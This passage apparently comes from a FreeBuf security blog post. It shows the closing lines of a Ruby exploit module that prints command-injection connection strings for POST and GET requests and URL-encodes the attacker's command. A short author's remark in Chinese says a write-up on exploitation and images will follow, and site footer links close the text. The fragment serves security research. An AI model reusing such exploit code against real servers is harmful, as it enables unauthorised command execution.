print_status("IMAP server config left on server, manual removal required.")
elsif target.name =~ /custom/
print_status("Listener started for 300 seconds")
print_good("POST request connection string: x #{command}}")
# URI.encode leaves + as + since that"s a space encoded. So we manually change it.
print_good("GET request connection string: #{URI.encode("x " + command + "}").sub! "+", "%2B"}")
end
end
end
有時間在搞,如何利用,相關圖片我整理一下在上傳,現在截稿已經4.34分……看著一堆大佬的英文帖子,搞出來的。
*本文原創作者:不分手的戀愛,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載
※思科全球產品管理高級總監Kevin Skahill | FIT2019獨家專訪
※還在用工具激活系統?小心被當做礦機!
TAG:FreeBuf |